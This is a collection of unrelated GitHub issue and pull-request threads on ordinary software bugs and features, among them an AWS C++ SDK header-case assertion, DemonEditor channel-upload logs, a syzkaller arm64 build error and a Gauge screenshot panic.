Increasing the limit or making it configurable could be a solution, then we move the problem to the "deployment" level, which could be fatal in a real world scenario - when the object count is growing and some software relies on the fact that it can retrieve all the objects but on the other side it depends on the dev-ops, there is hardly the possibility to find the cause of a problem which occurs.

I guess the best way to fix this is to make the limit configurable, but we should also think about the eventual performance degradation. If we see that reading the data without limit makes problems we should add an absolute maximum limit as well.
I would suggest the following changes:

the current implementation is the default behavior when the user does not provide a limit
the limit will be configurable via a request query parameter
if we see any problems without limiting the number of the records a new maxLimit parameter will be defined to set the absolute limit which must not be exceeded(it can be hard coded or configurable via envvar). This way we can avoid any possible problems
a user can set limit=-1 to get all of the data records. If the number of data records is bigger than the maxLimit value, the number of the returned data will be the value of maxLimit.

@bbokun, @drasko, @manuio What do you think about this?
I will start a PoC about this.

Hi @manuio,
I've done some test long time ago....  I have some more time now and I will update everything to the newest master state and do some more test this week

We will keep limits.


not support svg element Path and Line? Or Css "stroke-width" & "stroke"?

I found that when I use html2canvas to render the svg element,  the svg element "line" or "path" is always rendered wrongly. Maybe it doesn't support css style "stroke-width" and "stroke"?
How can I fix it?

Hi,
I also have the same problem.
When get screenshot it does lnot support [polyline in leaflet].

Solved!!!!!!!
It is done. make "L_PREFER_CANVAS=true and L_DIABLE_3D=true prior to the leaflet include.


Function parameters are not suggested inside arrow functions

Description:
Consider the following code:
type User record {|
    int id;
    string firstName;
    string lastName;
    string username;
    string password;
|};

public function main() {
    User[] users = [];
    users.push({id: 1, firstName: "Imesha", lastName: "Sudasingha", username: "imesha", password: "1234"});
    findUser(users, "a");
}

function findUser(User[] users, string username) {
    users.filter(u => u.username == <cursor>)
}

Cursor is at <cursor>. Here, I expect the function parameter username to be suggested, but it doesn't.
Steps to reproduce:
See description
Affected Versions:
Beta 3 RC3

Tested this on master and SL Beta 3 RC4. This has been resolved in master though still reproducible in Beta 3 RC4. Therefore closing this.


Problem with channel names when uploaded to receiver

After uploading to receiver some channel names are missing, image attached.
What I've noticed is that after not doing any changes I upload again and different channels will have names missing.
For testing I've used Dreambox for the same list and when uploaded all channel names appeared on receiver with no problems.
If you need any more details please let me know.

Logs after uploading:

23-10-24 22:23:24 ##### Uploading data on [<IP_ADDRESS>] #####
23-10-24 22:23:24 Testing HTTP connection...
23-10-24 22:23:25 HTTP: Sending info message...  Successful.
23-10-24 22:23:32 FTP OK.
23-10-24 22:23:32 Uploading file: satellites.xml.   Status: 226 Transfer complete.
23-10-24 22:23:32 Uploading file: terrestrial.xml.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: cables.xml.   Status: 226 Transfer complete.
23-10-24 22:23:33 Deleting file: userbouquet.dbe00.radio.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe01.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe02.radio.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe04.radio.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe04.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe05.radio.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe08.radio.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe08.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe0a.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe0b.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe0c.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe10.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe11.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe12.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe20.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe21.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.dbe23.tv.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.favourites.radio.   Status: 250 Delete operation successful.
23-10-24 22:23:33 Deleting file: userbouquet.favourites.tv.      Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe08.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe00.radio.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe04.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe0b.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.favourites.radio.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe21.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe05.radio.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: bouquets.radio.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe0c.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe11.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe0a.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe01.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe20.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe04.radio.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe10.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: bouquets.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe02.radio.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe23.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: userbouquet.dbe12.tv.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: lamedb.   Status: 226 Transfer complete.
23-10-24 22:23:33 Uploading file: blacklist.   Status: 226 Transfer complete.
23-10-24 22:23:34 HTTP: Reloading lamedb and Userbouquets. Successful.
23-10-24 22:23:34 ##### Uploading data on [<IP_ADDRESS>] #####
23-10-24 22:23:34 Testing HTTP connection...
23-10-24 22:23:34 HTTP test failed.
23-10-24 22:23:34 Uploading data error: [Errno 111] Connection refused
23-10-24 22:23:34 ##### Done! #####

Settings 1:

Settings 2:

Hi, please send me your channels settings set. I'll check it at me. For now I can only guess that the problem may be in the encoding. How were the initial settings obtained?

Hi @DYefremov thanks for coming back to me on this, here is a link to the list I was using: https://enigma2.hswg.pl/wp-content/uploads/2024/09/Lista-bzyk83-hb-13E-24.09.2024.zip
No sure what do you mean by initial settings, application initial settings? I think it was just default when first installed.
In terms of app version, I've also updated to 3.11.0 but actually now the list is populated with completely blank bouquets names and actually no channels in them... very odd.

Hi,
Yes, I can confirm similar behavior on the latest openATV ver 7.4 image. But earlier ones working as should. After disabling the "Use HTTP to reload data in the receiver" option and reloading the data, it displays as expected. Yes, before sending the data, you need to click the save button! The program uses an approach of maximum preservation of previous, already loaded, data. Therefore, if you already have the settings loaded for the current profile, and you load new data via the "Open-Extract..." menu, then the previous data is not physically changed until you forcibly overwrite it!

It seems that the command for WebIF with mode=2 (reloading bouquets and lamedb) does not work as required extent. At the moment, additional testing is needed to understand where is problem.

Hi,
The problem turned out to be deeper than I expected...
Since this program was initially developed with an emphasis on the duplicating services possibility, then at the lamedb  loading  stage duplicates were filtered (not loaded). n the settings, that you provided, in lamedb, there are such entries (e.g. for the TVN HD service):
3dcd:00820000:0640:013e:1:0
TVN HD

3dcd:00820000:0640:013e:25:0
TVN HD

The difference is in the service type only! The program identifies such services as duplicates and when saving, the first of these services is not written to lamedb! In attach is a small mod of the program that takes this nuance into account. If possible, please test it!
DemonEditor_3.11.1_mod.zip
DemonEditor_3.11.1_Beta_MOD.deb.zip

Morning Dmitriy!
Yes I can confirm that your mod version works like harm :1st_place_medal: :rocket:
Thank you for your time and commitment!
If you need me to test anything else please let me know.

Excellent. Some more improvements and full testing of the program are required, as the changes affect most of the app. A little later I will upload the changes to git for general testing. 🚀


AWS_CSM_ENABLED with DefaultMonitoring Does not work because Header Look Up is case-sensitive and fails to pick up a needed key

Confirm by changing [ ] to [x] below to ensure that it's a bug:

[X] I've gone though Developer Guide and API reference
[X] I've searched for previous similar issues and didn't find any solution

Describe the bug
A clear and concise description of what the bug is.
export AWS_CSM_ENABLED=true causes the SDK to assert.
/aws-cpp-sdk/aws-core/source/http/standard/StandardHttpRequest.cpp:73: virtual const String& Aws::Http::Standard::StandardHttpRequest::GetHeaderValue(const char*) const: Assertion `iter != headerMap.end()' failed.

SDK version number
1.7.211
Platform/OS/Hardware/Device
What are you running the sdk on? Linux/Ubuntu 18.04 Desktop/Dell XPS 15 9500
To Reproduce (observed behavior)
Steps to reproduce the behavior (please share code)

Create a small client example which puts an object to S3.
Before running binary set export AWS_CSM_ENABLED=true.
See assert

Expected behavior
A clear and concise description of what you expected to happen.
No Assert
Logs/output
Stack Trace
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51
#1  0x00007f3990252921 in __GI_abort () at abort.c:79
#2  0x00007f399024248a in __assert_fail_base (fmt=0x7f39903c9750 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=assertion@entry=0x55e1a1ba87de "iter != headerMap.end()", file=file@entry=0x55e1a1ba8790 "third_party/aws-cpp-sdk/aws-core/source/http/standard/StandardHttpRequest.cpp", line=line@entry=73, function=function@entry=0x55e1a1ba8860 <Aws::Http::Standard::StandardHttpRequest::GetHeaderValue[abi:cxx11](char const*) const::__PRETTY_FUNCTION__> "virtual const String& Aws::Http::Standard::StandardHttpRequest::GetHeaderValue(const char*) const") at assert.c:92
#3  0x00007f3990242502 in __GI___assert_fail (assertion=0x55e1a1ba87de "iter != headerMap.end()", file=0x55e1a1ba8790 "third_party/aws-cpp-sdk/aws-core/source/http/standard/StandardHttpRequest.cpp", line=73, function=0x55e1a1ba8860 <Aws::Http::Standard::StandardHttpRequest::GetHeaderValue[abi:cxx11](char const*) const::__PRETTY_FUNCTION__> "virtual const String& Aws::Http::Standard::StandardHttpRequest::GetHeaderValue(const char*) const") at assert.c:101
#4  0x000055e1a1582923 in Aws::Http::Standard::StandardHttpRequest::GetHeaderValue[abi:cxx11](char const*) const (this=0x7f398fe3d410, headerName=0x55e1a1ba4b6e "X-Amz-Security-Token") at third_party/aws-cpp-sdk/aws-core/source/http/standard/StandardHttpRequest.cpp:73
#5  0x000055e1a157c746 in Aws::Http::HttpRequest::GetAwsSessionToken[abi:cxx11]() const (this=0x7f398fe3d410) at third_party/aws-cpp-sdk/aws-core/include/aws/core/http/HttpRequest.h:309
#6  0x000055e1a1579ea1 in Aws::Monitoring::FillOptionalApiAttemptFieldsToJson (json=..., request=0x7f398fe3d410, outcome=..., metricsFromCore=...) at third_party/aws-cpp-sdk/aws-core/source/monitoring/DefaultMonitoring.cpp:154
#7  0x000055e1a157b46e in Aws::Monitoring::DefaultMonitoring::CollectAndSendAttemptData (this=0x7f398fe633c0, serviceName="S3", requestName="PutObject", request=std::shared_ptr<const Aws::Http::HttpRequest> (use count 3, weak count 0) = {...}, outcome=..., metricsFromCore=..., context=0x7f398fe3fe10) at third_party/aws-cpp-sdk/aws-core/source/monitoring/DefaultMonitoring.cpp:273
#8  0x000055e1a157a924 in Aws::Monitoring::DefaultMonitoring::OnRequestSucceeded (this=0x7f398fe633c0, serviceName="S3", requestName="PutObject", request=std::shared_ptr<const Aws::Http::HttpRequest> (use count 3, weak count 0) = {...}, outcome=..., metricsFromCore=..., context=0x7f398fe3fe10) at third_party/aws-cpp-sdk/aws-core/source/monitoring/DefaultMonitoring.cpp:224
#9  0x000055e1a15704c0 in Aws::Monitoring::OnRequestSucceeded (serviceName="S3", requestName="PutObject", request=std::shared_ptr<const Aws::Http::HttpRequest> (use count 3, weak count 0) = {...}, outcome=..., metricsFromCore=..., contexts=std::vector of length 1, capacity 1 = {...}) at third_party/aws-cpp-sdk/aws-core/source/monitoring/MonitoringManager.cpp:60
#10 0x000055e1a15139b3 in Aws::Client::AWSClient::AttemptExhaustively (this=0x7f398fe5d2d0, uri=..., request=..., method=Aws::Http::HttpMethod::HTTP_PUT, signerName=0x55e1a1b9e980 <Aws::Auth::SIGV4_SIGNER> "SignatureV4") at third_party/aws-cpp-sdk/aws-core/source/client/AWSClient.cpp:187
#11 0x000055e1a1519df2 in Aws::Client::AWSXMLClient::MakeRequest (this=0x7f398fe5d2d0, uri=..., request=..., method=Aws::Http::HttpMethod::HTTP_PUT, signerName=0x55e1a1b9e980 <Aws::Auth::SIGV4_SIGNER> "SignatureV4") at third_party/aws-cpp-sdk/aws-core/source/client/AWSClient.cpp:797
#12 0x000055e1a12d5954 in Aws::S3::S3Client::PutObject (this=0x7f398fe5d2d0, request=...) at third_party/aws-cpp-sdk/aws-s3/source/S3Client.cpp:3290

Additional context
The reason this is happening is because the header's key is in lower case
headersMap = {
 ...
"x-amz-security-token": "some value"
}

The value being looked up is
AWS_SECURITY_TOKEN = "X-Amz-Security-Token";

A case insensitive look up is needed

Hi @vinayan3 ,
I am not able to reproduce this, but to be honest I may be missing something, I simply set the environment variable AWS_CSM_ENABLED to true and made an upload object request... Is there anything else?
Can you walk me through how you get to see this bug? sample code and cmake parameters would help a lot.
Also, is there a reason why you are using an older version of the SDK or can you update to the newest?

Sorry I wasn't more clear @KaibaLopez.
I'm using a slightly older version because the library hasn't been updated yet in the source tree.
In terms of reproducing. I think reading the code could help you understand how this could happen.

Header values are set by lowering them.
https://github.com/aws/aws-sdk-cpp/blob/master/aws-cpp-sdk-core/source/http/standard/StandardHttpRequest.cpp#L67

void StandardHttpRequest::SetHeaderValue(const char* headerName, const Aws::String& headerValue)
{
    headerMap[StringUtils::ToLower(headerName)] = StringUtils::Trim(headerValue.c_str());
}

Header values accecssor doesn't change the case of the headerName the caller is requesting.
https://github.com/aws/aws-sdk-cpp/blob/master/aws-cpp-sdk-core/source/http/standard/StandardHttpRequest.cpp#L60

const Aws::String& StandardHttpRequest::GetHeaderValue(const char* headerName) const
{
    auto iter = headerMap.find(headerName);
    assert (iter != headerMap.end());
    return iter->second;
}

The header that the DefaultMonitoring is getting is Aws::Http::AWS_SECURITY_TOKEN. It's case has not be lowered like most of the other values in the file https://github.com/aws/aws-sdk-cpp/blob/master/aws-cpp-sdk-core/source/http/HttpRequest.cpp#L15

const char AWS_SECURITY_TOKEN[] = "X-Amz-Security-Token";
const char ACCEPT_HEADER[] = "accept";
const char ACCEPT_CHAR_SET_HEADER[] = "accept-charset";
const char ACCEPT_ENCODING_HEADER[] = "accept-encoding";

So what's happening is the security token is being set by using the string AWS_SECURITY_TOKEN and when it's later retrieved by the same constant it cannot be found.
The reason maybe my application is currently crashing is I'm developing locally and running it via GDB with break on exceptions, asserts, etc... on.
If you are still having trouble with this I can write a unit test. I'm quite confident that a unit test would demonstrate the behavior that I'm observing.

Unit test would help a lot yea.
I do see the problem you are referring to btw, I just need to be able to reproduce to understand the whole story and setting AWS_CSM_ENABLED=true doesn't seem to do it on my side.
Also, thanks for bringing this up to us and i don't know if you just prefer not to, but we do take/encourage contributions... would you want to make a PR on this?

Please don't close this. I'll have to do some work with the debugger next week to figure out the exact code path which set the header. I'll also try with a prod build to see if the issue replicates.

I still haven't gotten down to why you can't reproduce this.
I put this in GDB and figured out that this is the line using the env-var to set the value:
https://github.com/aws/aws-sdk-cpp/blob/master/aws-cpp-sdk-core/include/aws/core/http/HttpRequest.h#L306
This is the line which is accessing the value by the header:
https://github.com/aws/aws-sdk-cpp/blob/master/aws-cpp-sdk-core/include/aws/core/http/HttpRequest.h#L299
As for putting up a PR I will try to go through the steps to get the repo setup and use the CMake build system. I currently use a different one for the project I am on.


abspath isn't working properly

Even when using the -p option vulcanize still is looking for references beginning with "/" at the root of my fs. To make sure it wasn't related to the project I'm working on, I made a directory "test" with the following files:
test.html
<!DOCTYPE html>
<html>
  <head>
    <link rel="import" href="/a.html">
  </head>
  <body>
  </body>
</html>

a.html
<polymer-element name="a">
  <template>
  </template>
</polymer-element>

While in the same directory as the test directory is located vulcanize -p"test/" /test.html gives me
/usr/local/lib/node_modules/vulcanize/node_modules/hydrolysis/lib/loader/fs-resolver.js:21
      throw err;
            ^
Error: ENOENT, open 'test.html'
    at Error (native)

vulcanize -p"test/" test/test.html gives
/usr/local/lib/node_modules/vulcanize/node_modules/hydrolysis/lib/loader/fs-resolver.js:21
      throw err;
            ^
Error: ENOENT, open '/a.html'
    at Error (native)

I have also tried giving an absolute path to the test directory, running vulcanize from within the test directory and using --abspath instead of -p. If I create an empty file /a.html, vulcanize -p"test/" test/test.html runs just fine, printing
<!DOCTYPE html><html><head><meta charset="UTF-8">
    </head>
  <body>

</body></html>

I'm using version 1.6.0 of vulcanize, installed via npm using sudo npm install -g vulcanize and am running all of this on OSX 10.10.3.

I'm experiencing the same issue with vulcanize 1.8.1 on Ubuntu 14.04

found the undocumented solution:
vulcanize --abspath=test/ test.html


Feature flag support

All projects should have some sort of feature flag mechanism for separating deploys from product releases. This allows projects to move closer to continuous delivery while still providing business owners with control over when features are visible to end users. It also provides methods for more complex or multistage releases that might involve specific user groups, pilots, etc.
credit to @aligg and @Nava-JoshLong for this
Design notes

create a new terraform module infra/modules/feature-flagging that creates the:

evidently project
iam policy for accessing evidently

note: this module would not create the policy attachment attaching the policy to the service's task role. policies would be attached by passing them into the service module, similar to how the database access policy is attached.

create a new app-config object that configures feature flags.

app-config/env-config should include the possible features and default values for those features

then the env-specific configs, like dev.tf, staging.tf, prod.tf could define overrides for those features (e.g. we could enable a feature on dev while leaving it disabled by default in other environments)

the structure of the feature flags could look something like:
feature_flags = {
  disabled_feature: {
    variations: [{ percentage: 0.0 }]
  },
  enabled_feature: {
    variations: [{ percentage: 1.0 }]
  }
  feature_with_four_variations: {
    variations: [{ percentage: 0.25 },{ percentage: 0.25 },{ percentage: 0.25 }]
  }
}

// the "control" variation always gets the remaining 1 – sum(variations) percentage

the template should include some examples of feature flags. one possibility would be to include a few flags, one disabled, one enabled, and one more complicated one (e.g. with partial rollout and/or with more than one variation)

the service layer infra/app/service would pass the feature flag config from env_config to the feature_flagging module, then take the policy from the feature_flagging module to pass to the service module.

graph TD;
    app/service-->modules/service;
    app/service-->modules/feature-flagging;
    app/service-->app/app-config;
    app/app-config-. env_config.feature_flags .->modules/feature-flagging;
    modules/feature-flagging-. feature_flagging_access_policy .->modules/service

Testing

Add an endpoint to platform-test that fetches the feature flag config for the dev environment and prints them to the screen

Future
After this is done, we could add feature flagging support at the application level to template-application-nextjs and template-application-flask

Just met live with Josh, I think I've wrapped my brain around this better now. Gonna take another pass at updating the ticket description with my newfound knowledge.


⚠ Bofrost.lu has degraded performance

In 066173d, Bofrost.lu (https://www.bofrost.lu) experienced degraded performance:

HTTP code: 200
Response time: 1163 ms

Resolved: Bofrost.lu performance has improved in d3ce2d4 after 7 minutes.


executor: read-only segment has dynamic relocations

Describe the bug
For arm64 environment, executor compilation error:
mkdir -p ./bin/linux_arm64
g++ -o ./bin/linux_arm64/syz-executor executor/executor.cc \
        -O2 -pthread -Wall -Werror -Wparentheses -Wunused-const-variable -Wframe-larger-than=16384 -Wno-stringop-overflow -Wno-array-bounds -Wno-format-overflow -Wno-unused-but-set-variable -Wno-unused-command-line-argument -static-pie -std=c++17 -I. -Iexecutor/_include  -DGOOS_linux=1 -DGOARCH_arm64=1 \
        -DHOSTGOOS_linux=1 -DGIT_REVISION=\"6f888b7530906167ecb1f5a35e060fec736d6d32\"
/bin/ld: /tmp/ccbc8Dof.o: in function `test_cover_filter()':
executor.cc:(.text+0x102bc): warning: the use of `tempnam' is dangerous, better use `mkstemp'
/bin/ld: /tmp/ccbc8Dof.o: in function `Connection::Connect(char const*, char const*)':
executor.cc:(.text._ZN10Connection7ConnectEPKcS1_[_ZN10Connection7ConnectEPKcS1_]+0xd0): warning: Using 'gethostbyname' in statically linked applications requires at runtime the shared libraries from the glibc version used for linking
/bin/ld: read-only segment has dynamic relocations
collect2: error: ld returned 1 exit status
make: *** [Makefile:135: executor] Error 1
make: *** Waiting for unfinished jobs....

Modify the sys/targets/targets.go file, the arm64 architecture plus the compilation parameters: -fPIC, then the compilation passes：

Hi @koulq, what version of the compiler and linker do you use? We don't see this in our builds, so one option is to use provided gcr.io/syzkaller/syzbot container for builds.

This may be just a too old compiler. It's released 4+ years ago, and is unsupported.
In gcr.io/syzkaller/syzbot we use/provide gcc 12. The latest release is 14.

This may be just a too old compiler. It's released 4+ years ago, and is unsupported. In gcr.io/syzkaller/syzbot we use/provide gcc 12. The latest release is 14.

ok，thanks

To clarify, I suspect this is related to the new code section that is copied into KVM guests (cc @ramosian-glider, previously nobody reported similar problems):
https://github.com/google/syzkaller/blob/49f9c2d289d546c97aae87130574abe5b963b72a/executor/common_kvm_arm64_syzos.h#L10
Using -fPIC is not the right solution for it, since it can't support arbitrary relocations after copying just part of the binary at a random address in the guest.


added setupInlineCreateOperation method that gets called automatically if exists

Fixes #2925
@pxpm what do you think? Is this needed - or should setupInlineCreateOperation() be called automatically by CrudController, WITHOUT this PR?

A new inspection was created.

The inspection completed: No new issues

Hello @tabacitu .
Indeed setupInlineCreateOperation «should» be called automatically when using inlineCreate operation.
vendor\backpack\crud\src\app\Http\Controllers\CrudController.php L:116
I checked and when you open the inline modal it checks if exists setupInlineCreateOperation.

Ok great. Closing then, thanks!


Added 2 features sourcePath & rootNodeRef

So after a lot of time finally we created these 2 features:

SourcePath. In a big migration where more then couple of TB needs to be imported it's not feasible to move the source content next to the XML you've probably created.
So we (Contezza) created a fix to an optional extra entry key can be supplied.
<entry key="sourcePath">D:\temp\files\Doc1.pdf</entry>
RootNodeRef. To create the 'exact' folders on disk is a hassle in most cases. These folder structure are in some cases enormous or complex to create and will have a lot of overhead.
A path can be supplied and the code will find or create the structure.
<entry key="rootNodeRef">/Company Home/Sites/test/documentLibrary/Bulk</entry>

This would have been better implemented as a custom bulk import source.  Would you mind sharing more information on why you didn't go that route?
Background is that there are only a handful of custom import sources at this point, so I'm keen to hear of reasons why people aren't using that extension point.  It's supposed to be the preferred route for all such extensions to the core import functionality instead of patching core.

Hi Peter,
The reason is simple, this is an extra feature for the 'default' bulk-import and not a whole 'new' way of doing an import. If I (everyone) took this route you'd get all kind of min-variations of the default import and that really wouldn't contributing.
Second is that these are optional fields/features. So if supplying the default format the import works like default. The features start working when supplying the extra tags :).

Alternative on-disk structures, both for folders and for metadata, were two of the primary motivators for adding support for custom bulk import sources.  Specifically, there had been requests for reading metadata from a single file (Excel), and reading the folder structure from elsewhere (XML).
The capabilities in this PR do precisely these two things, and therefore are a perfect example of when a custom bulk import source should be implemented.  As a result I would encourage you to re-implement the logic that way, and either submit a PR for a new contrib import source, or maintain it separately in its own repository - I have no preference either way.
I'm also very keen to hear of any issues you hit while implementing your custom import source.  As mentioned above, the extension point has had some real world use already, but could always do with further battle testing by as many different developers as possible.


Update cats-helper to 2.5.0

Updates com.evolutiongaming:cats-helper from 2.3.0 to 2.5.0.
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Ignore future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "com.evolutiongaming", artifactId = "cats-helper" } ]

labels: library-update, semver-minor

Superseded by #197.


thermal series integration

Can you add integration for the thermal series in 1.19

Done:
https://github.com/Janoeo/JER-Integration/pull/19


Error taking screenshot when running Gauge test through Jenkins

Problem Description
I am getting below error message when trying to take screenshot (GaugeScreenshots.Capture();          ) through Jenkins. It works fine when i run the same test on my local.
panic: BitBlt failed
goroutine 1 [running]:
github.com/AllenDang/w32.BitBlt(0x130102ff, 0x0, 0x0, 0x400, 0x300, 0x10101b5, 0x0, 0x0, 0xcc0020)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/AllenDang/w32/gdi32.go:117 +0x120
github.com/getgauge/gauge_screenshot/capture.CaptureRect(0x0, 0x0, 0x400, 0x300, 0x0, 0x0, 0x0)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/capture/capture_windows.go:110 +0x3a4
github.com/getgauge/gauge_screenshot/capture.CaptureScreen(0xc04203bf50, 0x2d, 0x0, 0x0)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/capture/capture_windows.go:54 +0x105
main.main()
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/main.go:42 +0x176
panic: BitBlt failed
goroutine 1 [running]:
github.com/AllenDang/w32.BitBlt(0x140102ff, 0x0, 0x0, 0x400, 0x300, 0x10101b5, 0x0, 0x0, 0xcc0020)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/AllenDang/w32/gdi32.go:117 +0x120
github.com/getgauge/gauge_screenshot/capture.CaptureRect(0x0, 0x0, 0x400, 0x300, 0x0, 0x0, 0x0)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/capture/capture_windows.go:110 +0x3a4
github.com/getgauge/gauge_screenshot/capture.CaptureScreen(0xc04203bf50, 0x2d, 0x0, 0x0)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/capture/capture_windows.go:54 +0x105
main.main()
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/main.go:42 +0x176
panic: BitBlt failed
goroutine 1 [running]:
github.com/AllenDang/w32.BitBlt(0x170102ff, 0x0, 0x0, 0x400, 0x300, 0x10101b5, 0x0, 0x0, 0xcc0020)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/AllenDang/w32/gdi32.go:117 +0x120
github.com/getgauge/gauge_screenshot/capture.CaptureRect(0x0, 0x0, 0x400, 0x300, 0x0, 0x0, 0x0)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/capture/capture_windows.go:110 +0x3a4
github.com/getgauge/gauge_screenshot/capture.CaptureScreen(0xc04203bf50, 0x2d, 0x0, 0x0)
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/capture/capture_windows.go:54 +0x105
main.main()
/Users/vagrant/go-agent-17.4.0/pipelines/Screenshot/src/github.com/getgauge/gauge_screenshot/main.go:42 +0x176
F
Gauge version
Gauge version: 1.0.4
Commit Hash: 3a9a647
Plugins
csharp (0.10.5)
dotnet (0.1.2.nightly-2019-02-14)
html-report (4.0.7)
java (0.7.2)
json-report (0.3.0)
screenshot (0.0.1)
xml-report (0.2.1)

seems like dependency in gauge-screenshot is erring  and the actual error is shallowed... can you please provide more info regarding your environment ?

Nivedha - What kind of info you are looking for?
Get Outlook for iOShttps://aka.ms/o0ukef

From: Nivedha<EMAIL_ADDRESS>Sent: Monday, March 2, 2020 11:34 PM
To: getgauge/gauge
Cc: Ghai, Manav (Cognizant); Author
Subject: Re: [getgauge/gauge] Error taking screenshot when running Gauge test through Jenkins (#1594)
[External]
seems like dependency in gauge-screenshot is erring and the actual error is shallowed... can you please provide more info regarding your environment ?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHubhttps://apc01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fgetgauge%2Fgauge%2Fissues%2F1594%3Femail_source%3Dnotifications%26email_token%3DALBVKICZ4HVUFK37B34PTGTRFSB5XA5CNFSM4K74SHU2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOENSBSAY%23issuecomment-593762563&data=02|01|manav.ghai%40cognizant.com|e6a3b0a6a6994a1db64808d7bf2be211|de08c40719b9427d9fe8edf254300ca7|0|0|637188068580490102&sdata=7rx%2FjQIQF2wNZpTM1PW40vabdXyjBmqi9NWxU7Zeeww%3D&reserved=0, or unsubscribehttps://apc01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FALBVKIAHPLTEICKJSP4C7RTRFSB5XANCNFSM4K74SHUQ&data=02|01|manav.ghai%40cognizant.com|e6a3b0a6a6994a1db64808d7bf2be211|de08c40719b9427d9fe8edf254300ca7|0|0|637188068580500098&sdata=V9DmoJhnVzGvwQN%2BXkUfYZAzTn11z2yQXCY52D%2BJ00s%3D&reserved=0.
This e-mail and any files transmitted with it are for the sole use of the intended recipient(s) and may contain confidential and privileged information. If you are not the intended recipient(s), please reply to the sender and destroy all copies of the original message. Any unauthorized review, use, disclosure, dissemination, forwarding, printing or copying of this email, and/or any action taken in reliance on the contents of this e-mail is strictly prohibited and may be unlawful. Where permitted by applicable law, this e-mail and other e-mail communications sent to and from Cognizant e-mail addresses may be monitored. This e-mail and any files transmitted with it are for the sole use of the intended recipient(s) and may contain confidential and privileged information. If you are not the intended recipient(s), please reply to the sender and destroy all copies of the original message. Any unauthorized review, use, disclosure, dissemination, forwarding, printing or copying of this email, and/or any action taken in reliance on the contents of this e-mail is strictly prohibited and may be unlawful. Where permitted by applicable law, this e-mail and other e-mail communications sent to and from Cognizant e-mail addresses may be 